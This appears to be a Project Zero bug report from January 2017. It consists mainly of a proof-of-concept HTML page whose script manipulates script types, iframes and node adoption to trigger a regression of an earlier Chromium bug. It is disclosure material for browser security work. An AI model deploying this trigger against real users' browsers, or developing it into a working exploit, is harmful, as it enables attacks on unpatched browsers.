Reported by [email protected], Jan 23 2017
This is a regression test from: https://crbug.com/541206
PoC:
<body>
<script>
var s = document.body.appendChild(document.createElement('script'));
s.type = '0';
s.textContent = 'document.body.appendChild(parent.i0)';
var i0 = s.appendChild(document.createElement('iframe'));
s.type = '';
var f = document.body.appendChild(document.createElement('iframe'));
f.contentDocument.adoptNode(i0);
f.src = 'about:blank';
</script>
</body>Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1099